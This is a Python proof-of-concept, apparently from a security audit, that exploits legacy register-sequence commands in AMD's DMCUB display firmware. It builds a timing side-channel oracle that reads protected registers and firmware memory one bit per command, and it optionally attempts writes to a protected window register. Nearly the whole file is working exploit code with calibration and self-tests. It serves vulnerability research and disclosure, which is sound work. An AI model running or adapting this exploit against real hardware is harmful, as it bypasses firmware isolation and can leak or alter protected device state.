#!/usr/bin/env python3
"""Turn the legacy REG_SEQ_* inbox commands into a DMCUB-side register oracle.

Background. `AUDIT-DMCUB-03-COMMANDS.md` records types 1/3/4 as an intentional
arbitrary-register interface ("by design") and moved on. FINDING-5 separately
established that the **host** cannot touch `DMCUB_REGION3_CW0_*`,
`DMCUB_REGION3_CW1_*` or `DMCUB_SEC_CNTL` -- writes are dropped and reads come back
0 -- and FINDING-7 leaned on exactly that to conclude no arbitrary write exists.

Nobody tried reaching those registers through DMCUB's *own* register interface.
That is what this does.

`DMUB_CMD__REG_REG_WAIT` (type 4, dispatcher case 0x6001ca7f) is:

    a7  = 0x5ffc0000 + 4 * u32[frame+0x4]      ; register, host-chosen
    mask     = u32[frame+0x8]
    expected = u32[frame+0xc]
    iters    = u32[frame+0x10]
    loop iters times: v = [a7]
                      if v == ((v & ~mask) | expected): break
                      udelay(1)

So the firmware spins until `(reg & mask) == (expected & mask)`. The host cannot see
the register, but it *can* see how long the command took: a match retires the frame
immediately, a mismatch stalls the inbox for `iters` microseconds. That is a one-bit
read per command, i.e. a **register read oracle executing with DMCUB's access
rights** -- including registers the host reads as 0.

Both polarities are probed for every bit (expected = bit and expected = 0). Exactly
one must be fast; if both or neither are, the bit is discarded as unreliable rather
than guessed.

`DMUB_CMD__REG_SEQ_BURST_WRITE` (type 3, case 0x6001cb2e) is the write side:

    count = (frame[3] >> 2) & 0xF
    addr  = 0x5ffc0000 + 4 * u32[frame+0x4]
    loop count times: [addr] = u32 from frame+0x8, frame+0xc, ...

Phases:
  control   host writes DMCUB_SCRATCH7 to known patterns; the oracle must recover
            them exactly. This validates both the timing threshold and the
            index->aperture mapping (0x5ffc0000 + 4*idx). If it fails, everything
            after it is meaningless and the script stops.
  protected oracle-read CW0/CW1 base+top and SEC_CNTL, and print what the host reads
            for the same registers. A non-zero oracle result against a host read of 0
            is disclosure of state the host is denied.
  write     (only with --write-test) type-3 write to SCRATCH7 (verified by the host),
            then to a protected register, re-read with the oracle.

usage:
  python3 dmcub_poc_regseq.py --selftest
  python3 dmcub_poc_regseq.py --state bringup.json --apply
  python3 dmcub_poc_regseq.py --state bringup.json --apply --write-test
"""
import argparse
import json
import os
import struct
import sys
import time

sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
import dmcub_hwregs as H            # noqa: E402

RB_CMD_SIZE = 64
APERTURE = 0x5ffc0000
DMUB_CMD_REG_SEQ_READ_MODIFY_WRITE = 1
DMUB_CMD_REG_SEQ_BURST_WRITE = 3
DMUB_CMD_REG_REG_WAIT = 4

# registers FINDING-5 showed the host cannot reach, plus controls
PROTECTED = ['DMCUB_REGION3_CW0_BASE_ADDRESS', 'DMCUB_REGION3_CW0_TOP_ADDRESS',
             'DMCUB_REGION3_CW1_BASE_ADDRESS', 'DMCUB_REGION3_CW1_TOP_ADDRESS',
             'DMCUB_SEC_CNTL']
HOST_VISIBLE = ['DMCUB_REGION3_CW6_BASE_ADDRESS', 'DMCUB_REGION3_CW6_TOP_ADDRESS']


def frame_reg_wait(idx, mask, expected, iters):
    f = bytearray(RB_CMD_SIZE)
    f[0] = DMUB_CMD_REG_REG_WAIT
    f[3] = 0x14
    struct.pack_into('<IIII', f, 4, idx & 0xffffffff, mask & 0xffffffff,
                     expected & 0xffffffff, iters & 0xffffffff)
    return bytes(f)


def frame_burst_write(idx, value):
    f = bytearray(RB_CMD_SIZE)
    f[0] = DMUB_CMD_REG_SEQ_BURST_WRITE
    f[3] = 0x4                       # count = (4 >> 2) & 0xF = 1
    struct.pack_into('<II', f, 4, idx & 0xffffffff, value & 0xffffffff)
    return bytes(f)


class RegSeq:
    def __init__(self, regs, adev, mailbox_paddr, iters=20000, dry_run=True):
        self.r = regs
        self.adev = adev
        self.mb = mailbox_paddr
        self.iters = iters           # microseconds the fw spins on a mismatch
        self.dry_run = dry_run
        self.fast_s = None

    def submit_timed(self, frame, timeout_s=5.0):
        """Returns (consumed, elapsed_seconds)."""
        size = self.r.read('DMCUB_INBOX1_SIZE')
        wptr = self.r.read('DMCUB_INBOX1_WPTR')
        if self.dry_run:
            return (True, 0.0)
        assert wptr % 4 == 0
        self.adev.vram.view(self.mb + wptr, RB_CMD_SIZE)[:] = frame
        self.adev.gmc.flush_hdp()
        nxt = (wptr + RB_CMD_SIZE) % size
        t0 = time.time()
        self.r.write('DMCUB_INBOX1_WPTR', nxt)
        while time.time() - t0 < timeout_s:
            if self.r.read('DMCUB_INBOX1_RPTR') == nxt:
                return (True, time.time() - t0)
        return (False, time.time() - t0)

    def calibrate(self, idx):
        """Measure a match (fast) and a mismatch (slow) on a known register."""
        cur = self.r.read(idx) if isinstance(idx, str) else None
        name = idx if isinstance(idx, str) else None
        i = self.r.index(name)
        ok_m, t_match = self.submit_timed(frame_reg_wait(i, 0xffffffff, cur, self.iters))
        ok_x, t_miss = self.submit_timed(
            frame_reg_wait(i, 0xffffffff, cur ^ 0xffffffff, self.iters))
        print('  calibrate on %s (host value 0x%08x): match %.1f ms, mismatch %.1f ms'
              % (name, cur, 1000 * t_match, 1000 * t_miss))
        if not (ok_m and ok_x):
            print('  !! a calibration frame was not consumed at all')
            return False
        if t_miss < t_match * 3 or (t_miss - t_match) < 0.005:
            print('  !! match and mismatch are not separable -- oracle unusable')
            return False
        self.fast_s = t_match + (t_miss - t_match) / 3.0
        print('  threshold: consumed faster than %.1f ms => condition matched'
              % (1000 * self.fast_s))
        return True

    def probe_bit(self, idx, bit):
        """Return 1/0 for the bit, or None if the two polarities disagree."""
        m = 1 << bit
        _, t_one = self.submit_timed(frame_reg_wait(idx, m, m, self.iters))
        _, t_zero = self.submit_timed(frame_reg_wait(idx, m, 0, self.iters))
        one_fast, zero_fast = t_one < self.fast_s, t_zero < self.fast_s
        if one_fast == zero_fast:
            return None
        return 1 if one_fast else 0

    def read_reg(self, idx, bits=32):
        val, bad = 0, []
        for b in range(bits):
            v = self.probe_bit(idx, b)
            if v is None:
                bad.append(b)
            elif v:
                val |= 1 << b
        return val, bad


def addr_to_idx(addr):
    """The firmware computes addr = 0x5ffc0000 + 4*idx in 32-bit arithmetic, so any
    4-aligned address in DMCUB's space is reachable, not just the register aperture."""
    assert addr % 4 == 0, 'the fw load is l32i, address must be 4-aligned'
    return ((addr - APERTURE) // 4) & 0xffffffff


def _selftest():
    ok = True

    def chk(c, what):
        nonlocal ok
        ok = ok and bool(c)
        print('  [%s] %s' % ('ok' if c else 'FAIL', what))

    print('frame encoding (checked against the dispatcher disassembly):')
    f = frame_reg_wait(0x1234, 0xff, 0x80, 1000)
    chk(f[0] == 4, 'type 4 in byte 0')
    chk(struct.unpack_from('<I', f, 4)[0] == 0x1234, 'reg index at frame+0x4')
    chk(struct.unpack_from('<I', f, 8)[0] == 0xff, 'mask at frame+0x8')
    chk(struct.unpack_from('<I', f, 0xc)[0] == 0x80, 'expected at frame+0xc')
    chk(struct.unpack_from('<I', f, 0x10)[0] == 1000, 'iters at frame+0x10')
    w = frame_burst_write(0x1234, 0xc0ffee)
    chk(w[0] == 3, 'type 3 in byte 0')
    chk((w[3] >> 2) & 0xF == 1, 'byte 3 encodes burst count 1 (fw: (b3>>2)&0xF)')
    chk(struct.unpack_from('<I', w, 4)[0] == 0x1234, 'reg index at frame+0x4')
    chk(struct.unpack_from('<I', w, 8)[0] == 0xc0ffee, 'value at frame+0x8')

    print('oracle semantics (fw compares v == ((v & ~mask) | expected)):')
    for v, bit in ((0b1010, 1), (0b1010, 0), (0xffffffff, 31), (0, 31)):
        m = 1 << bit
        match_one = (v == ((v & ~m & 0xffffffff) | m))
        chk(match_one == bool(v & m),
            'v=0x%x bit%d: match-with-expected=bit <=> bit set (%s)'
            % (v, bit, bool(v & m)))
    print('address <-> index round trip (32-bit wrap):')
    for a in (0x5ffc0000, 0x60000000, 0x60018030, 0x61000000, 0x66000300):
        i = addr_to_idx(a)
        chk((APERTURE + 4 * i) & 0xffffffff == a,
            '0x%08x -> idx 0x%08x -> 0x%08x' % (a, i, (APERTURE + 4 * i) & 0xffffffff))
    chk(addr_to_idx(0x60000000) == 0x10000, 'CW0 base is idx 0x10000')

    print('\nSELFTEST %s' % ('PASS' if ok else 'FAIL'))
    return 0 if ok else 1


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('--selftest', action='store_true')
    ap.add_argument('--state')
    ap.add_argument('--mailbox-paddr', type=lambda s: int(s, 0))
    ap.add_argument('--apply', action='store_true')
    ap.add_argument('--write-test', action='store_true',
                    help='also attempt type-3 writes to a protected register')
    ap.add_argument('--iters', type=lambda s: int(s, 0), default=20000)
    ap.add_argument('--inst', type=int, default=0)
    ap.add_argument('--read-mem', default=None,
                    help='ADDR,NWORDS -- oracle-read DMCUB memory and compare against '
                         'the on-disk image (ground truth) and against what the host '
                         'can read from the backing VRAM')
    ap.add_argument('--image', default=os.path.join(
        os.path.dirname(os.path.dirname(os.path.abspath(__file__))),
        'fw', 'dcn_3_2_0_dmcub.bin'))
    ap.add_argument('--cw0-paddr', type=lambda s: int(s, 0), default=None,
                    help='host paddr the CW0 window is mapped to, for the host-read '
                         'comparison (bringup state: paddr.inst_const)')
    args = ap.parse_args()

    if args.selftest:
        raise SystemExit(_selftest())

    mb = args.mailbox_paddr
    if args.state:
        mb = mb or int(json.load(open(args.state))['paddr']['mailbox'])
    if mb is None:
        raise SystemExit('need --state or --mailbox-paddr')

    from tinygrad import Device
    adev = Device["AMD"].iface.dev_impl
    regs = H.Regs(adev=adev, inst=args.inst, dry_run=not args.apply)
    path, _ = regs.validate(verbose=False)
    if path == 'none':
        raise SystemExit('no usable DCN register path')
    if not (regs.get('DMCUB_CNTL', 'DMCUB_ENABLE')
            and not regs.get('DMCUB_CNTL2', 'DMCUB_SOFT_RESET')):
        raise SystemExit('DMCUB is not running -- run dmcub_bringup.py --apply first')

    rs = RegSeq(regs, adev, mb, iters=args.iters, dry_run=not args.apply)

    print('\n=== phase 1: control -- recover a known register through the oracle')
    if not rs.calibrate('DMCUB_SCRATCH7'):
        raise SystemExit('oracle calibration failed; no conclusions drawn')
    idx7 = regs.index('DMCUB_SCRATCH7')
    control_ok = True
    for pattern in (0x5a5a5a5a, 0x0000ffff):
        regs.write('DMCUB_SCRATCH7', pattern)
        got, bad = rs.read_reg(idx7)
        same = (got == pattern)
        control_ok = control_ok and same and not bad
        print('  host wrote 0x%08x -> oracle read 0x%08x  %s%s' % (
            pattern, got, 'MATCH' if same else 'MISMATCH',
            '' if not bad else '  (unreliable bits %s)' % bad))
    if not control_ok:
        raise SystemExit('control failed: the oracle does not reproduce a known '
                         'register, so protected-register results would be noise')
    print('  CONTROL PASSED: type 4 reads host-chosen registers at 0x5ffc0000+4*idx')

    print('\n=== phase 2: registers FINDING-5 showed the host cannot reach')
    print('  %-34s %-12s %-12s %s' % ('register', 'host read', 'oracle', 'verdict'))
    disclosed = []
    for name in HOST_VISIBLE + PROTECTED:
        idx = regs.index(name)
        hostv = regs.read(name)
        got, bad = rs.read_reg(idx)
        verdict = 'agree'
        if bad:
            verdict = 'unreliable bits %s' % bad
        elif hostv == 0 and got != 0:
            verdict = 'DISCLOSED (host sees 0)'
            disclosed.append((name, got))
        elif hostv != got:
            verdict = 'DIFFERS'
        print('  %-34s 0x%08x   0x%08x   %s' % (name, hostv, got, verdict))

    print('\n=== result')
    if disclosed:
        print('  %d register(s) readable through DMCUB but not by the host:' % len(disclosed))
        for n, v in disclosed:
            print('     %-34s = 0x%08x' % (n, v))
    else:
        print('  no protected register produced a non-zero oracle read')

    if args.read_mem:
        addr_s, n_s = args.read_mem.split(',')
        addr0, nwords = int(addr_s, 0), int(n_s, 0)
        print('\n=== phase 2b: oracle-read DMCUB memory at 0x%08x (%d words)' % (
            addr0, nwords))
        # ground truth: the signed image we loaded, mapped VA -> file offset
        import dmcub_bringup as B
        raw = open(args.image, 'rb').read()
        ucode_off = struct.unpack_from('<I', raw, 0x18)[0]
        body = ucode_off + B.PSP_HEADER_BYTES

        def image_word(va):
            off = va - B.DMUB_CW0_BASE + body
            if 0 <= off <= len(raw) - 4:
                return struct.unpack_from('<I', raw, off)[0]
            return None

        print('  %-12s %-12s %-12s %-12s %s' % (
            'addr', 'oracle', 'image(truth)', 'host VRAM', 'verdict'))
        agree = mismatch = 0
        host_blocked = 0
        for i in range(nwords):
            va = addr0 + 4 * i
            got, bad = rs.read_reg(addr_to_idx(va))
            truth = image_word(va)
            hostw = None
            if args.cw0_paddr is not None:
                o = va - B.DMUB_CW0_BASE
                hostw = struct.unpack('<I', bytes(
                    adev.vram.view(args.cw0_paddr + o, 4)[:]))[0]
            verdict = 'unreliable %s' % bad if bad else (
                'MATCHES IMAGE' if truth is not None and got == truth else 'differs')
            if not bad and truth is not None:
                if got == truth:
                    agree += 1
                else:
                    mismatch += 1
            if hostw is not None and truth is not None and hostw != truth:
                host_blocked += 1
            print('  0x%08x   0x%08x   %s   %s   %s' % (
                va, got,
                '0x%08x' % truth if truth is not None else '    --    ',
                '0x%08x' % hostw if hostw is not None else '    --    ', verdict))
        print('  %d/%d words match the signed image; %d differ' % (
            agree, nwords, mismatch))
        if args.cw0_paddr is not None:
            print('  host VRAM at the CW0 backing paddr disagreed with the image for '
                  '%d/%d words' % (host_blocked, nwords))
            if agree and host_blocked == nwords:
                print('  PRIMITIVE CONFIRMED: DMCUB read memory the host cannot read, '
                      'and returned it to the host one bit per command.')

    if args.write_test:
        print('\n=== phase 3: write side (type 3)')
        regs.write('DMCUB_SCRATCH7', 0)
        rs.submit_timed(frame_burst_write(idx7, 0xc0ffee01))
        back = regs.read('DMCUB_SCRATCH7')
        print('  control: type-3 wrote SCRATCH7 -> host reads 0x%08x  %s' % (
            back, 'OK' if back == 0xc0ffee01 else 'FAILED'))
        if back != 0xc0ffee01:
            raise SystemExit('type-3 write control failed; not attempting protected')
        tgt = 'DMCUB_REGION3_CW1_TOP_ADDRESS'
        idx = regs.index(tgt)
        before, _ = rs.read_reg(idx)
        newv = before ^ 0x1000          # perturb one bit of the window top
        print('  attempting type-3 write to %s: 0x%08x -> 0x%08x' % (tgt, before, newv))
        rs.submit_timed(frame_burst_write(idx, newv))
        after, bad = rs.read_reg(idx)
        print('  oracle re-read: 0x%08x %s' % (after, '(unreliable %s)' % bad if bad else ''))
        if after == newv:
            print('  PROTECTED REGISTER WRITTEN via DMCUB (host writes are dropped)')
        elif after == before:
            print('  write had no effect -- protection covers the DMCUB requester too')
        # restore
        rs.submit_timed(frame_burst_write(idx, before))
        chk, _ = rs.read_reg(idx)
        print('  restored to 0x%08x (%s)' % (chk, 'ok' if chk == before else 'MISMATCH'))

    print('\ndmcub alive: scratch0=0x%x' % regs.read('DMCUB_SCRATCH0'))
    return 0


if __name__ == '__main__':
    raise SystemExit(main())